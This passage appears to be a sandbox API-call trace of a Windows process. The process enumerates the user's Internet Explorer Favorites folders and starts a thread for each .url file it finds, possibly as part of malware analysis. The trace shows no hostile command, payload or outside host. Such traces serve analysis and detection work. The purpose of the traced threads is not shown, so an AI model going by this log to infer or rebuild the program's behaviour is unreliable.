ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86c70 [0101.604] wcscmp (_String1=".", _String2=".") returned 0 [0101.604] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.604] wcscmp (_String1="..", _String2=".") returned 1 [0101.604] wcscmp (_String1="..", _String2="..") returned 0 [0101.604] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0101.604] wcscmp (_String1="IE Add-on site.url", _String2=".") returned 1 [0101.604] wcscmp (_String1="IE Add-on site.url", _String2="..") returned 1 [0101.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050b7f0 [0101.605] wcscpy (in: _Dest=0x2050b7f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0101.605] wcscat (in: _Dest=0x2050b7f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0101.605] wcscat (in: _Dest=0x2050b7f0, _Source="IE Add-on site.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" [0152.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050b7f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f8 [0152.467] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0152.467] wcscmp (_String1="IE site on Microsoft.com.url", _String2=".") returned 1 [0152.467] wcscmp (_String1="IE site on Microsoft.com.url", _String2="..") returned 1 [0152.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x106ac0 [0152.468] wcscpy (in: _Dest=0x106ac0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0152.468] wcscat (in: _Dest=0x106ac0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0152.468] wcscat (in: _Dest=0x106ac0, _Source="IE site on Microsoft.com.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" [0152.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x106ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb3c [0152.468] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0152.468] wcscmp (_String1="Microsoft At Home.url", _String2=".") returned 1 [0152.468] wcscmp (_String1="Microsoft At Home.url", _String2="..") returned 1 [0152.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cd64bb0 [0152.469] wcscpy (in: _Dest=0x1cd64bb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0152.469] wcscat (in: _Dest=0x1cd64bb0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0152.469] wcscat (in: _Dest=0x1cd64bb0, _Source="Microsoft At Home.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" [0152.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64bb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b4 [0152.470] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0152.470] wcscmp (_String1="Microsoft At Work.url", _String2=".") returned 1 [0152.470] wcscmp (_String1="Microsoft At Work.url", _String2="..") returned 1 [0152.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cd64c60 [0152.470] wcscpy (in: _Dest=0x1cd64c60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0152.470] wcscat (in: _Dest=0x1cd64c60, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0152.470] wcscat (in: _Dest=0x1cd64c60, _Source="Microsoft At Work.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" [0152.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd34 [0152.471] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0152.471] wcscmp (_String1="Microsoft Store.url", _String2=".") returned 1 [0152.471] wcscmp (_String1="Microsoft Store.url", _String2="..") returned 1 [0152.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd653f0 [0152.472] wcscpy (in: _Dest=0x1cd653f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0152.472] wcscat (in: _Dest=0x1cd653f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0152.472] wcscat (in: _Dest=0x1cd653f0, _Source="Microsoft Store.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" [0152.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd653f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f0 [0152.472] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0152.472] FindClose (in: hFindFile=0x1cd86c70 | out: hFindFile=0x1cd86c70) returned 1 [0152.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61430) returned 1 [0152.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afd60) returned 1 [0152.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868540) returned 1 Thread: id = 967 os_tid = 0x15c4 [0101.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b85e310 [0101.331] wcscpy (in: _Dest=0x1b85e310, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" [0101.331] wcscat (in: _Dest=0x1b85e310, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0101.331] wcscat (in: _Dest=0x1b85e310, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*" [0101.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd627b0 [0101.332] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86970 [0101.586] wcscmp (_String1=".", _String2=".") returned 0 [0101.586] FindNextFileW (in: hFindFile=0x1cd86970, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.586] wcscmp (_String1="..", _String2=".") returned 1 [0101.586] wcscmp (_String1="..", _String2="..") returned 0 [0101.586] FindNextFileW (in: hFindFile=0x1cd86970, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0101.586] wcscmp (_String1="MSN Autos.url", _String2=".") returned 1 [0101.586] wcscmp (_String1="MSN Autos.url", _String2="..") returned 1 [0101.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1cf4d4a0 [0101.586] wcscpy (in: _Dest=0x1cf4d4a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" [0101.586] wcscat (in: _Dest=0x1cf4d4a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0101.586] wcscat (in: _Dest=0x1cf4d4a0, _Source="MSN Autos.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" [0126.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d4a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc3c [0126.827] FindNextFileW (in: hFindFile=0x1cd86970, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0126.827] wcscmp (_String1="MSN Entertainment.url", _String2=".") returned 1 [0126.827] wcscmp (_String1="MSN Entertainment.url", _String2="..") returned 1 [0126.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x2027a290 [0126.828] wcscpy (in: _Dest=0x2027a290, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" [0126.828] wcscat (in: _Dest=0x2027a290, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0126.828] wcscat (in: _Dest=0x2027a290, _Source="MSN Entertainment.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" [0126.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc38 [0126.829] FindNextFileW (in: hFindFile=0x1cd86970, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0126.829] wcscmp (_String1="MSN Money.url", _String2=".") returned 1 [0126.829] wcscmp (_String1="MSN Money.url", _String2="..") returned 1 [0126.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b86b310 [0126.829] wcscpy (in: _Dest=0x1b86b310, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" [0126.829] wcscat (in: _Dest=0x1b86b310, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0126.829] wcscat (in: _Dest=0x1b86b310, _Source="MSN Money.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" [0126.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc34 [0126.830] FindNextFileW (in: hFindFile=0x1cd86970, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0126.830] wcscmp (_String1="MSN Sports.url", _String2=".") returned 1 [0126.830] wcscmp (_String1="MSN Sports.url", _String2="..") returned 1 [0126.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86afb0 [0126.830] wcscpy (in: _Dest=0x1b86afb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" [0126.830] wcscat (in: _Dest=0x1b86afb0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0126.830] wcscat (in: _Dest=0x1b86afb0, _Source="MSN Sports.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" [0126.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86afb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc30 [0126.831] FindNextFileW (in: hFindFile=0x1cd86970, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0126.831] wcscmp (_String1="MSN.url", _String2=".") returned 1 [0126.831] wcscmp (_String1="MSN.url", _String2="..") returned 1 [0126.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b86af20 [0126.831] wcscpy (in: _Dest=0x1b86af20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" [0126.831] wcscat (in: _Dest=0x1b86af20, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0126.831] wcscat (in: _Dest=0x1b86af20, _Source="MSN.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" [0126.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86af20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc2c [0126.832] FindNextFileW (in: hFindFile=0x1cd86970, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0126.832] wcscmp (_String1="MSNBC News.url", _String2=".") returned 1 [0126.832] wcscmp (_String1="MSNBC News.url", _String2="..") returned 1 [0126.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a500 [0126.832] wcscpy (in: _Dest=0x1b86a500, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" [0126.832] wcscat (in: _Dest=0x1b86a500, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0126.832] wcscat (in: _Dest=0x1b86a500, _Source="MSNBC News.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" [0126.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc24 [0126.833] FindNextFileW (in: hFindFile=0x1cd86970, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0126.833] FindClose (in: hFindFile=0x1cd86970 | out: hFindFile=0x1cd86970) returned 1 [0126.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd627b0) returned 1 [0126.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e310) returned 1 [0126.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8685c0) returned 1 Thread: id = 968 os_tid = 0x15c8 [0101.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b86a0c0 [0101.334] wcscpy (in: _Dest=0x1b86a0c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" [0101.334] wcscat (in: _Dest=0x1b86a0c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0101.334] wcscat (in: _Dest=0x1b86a0c0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*" [0101.334] RtlAllocateHeap 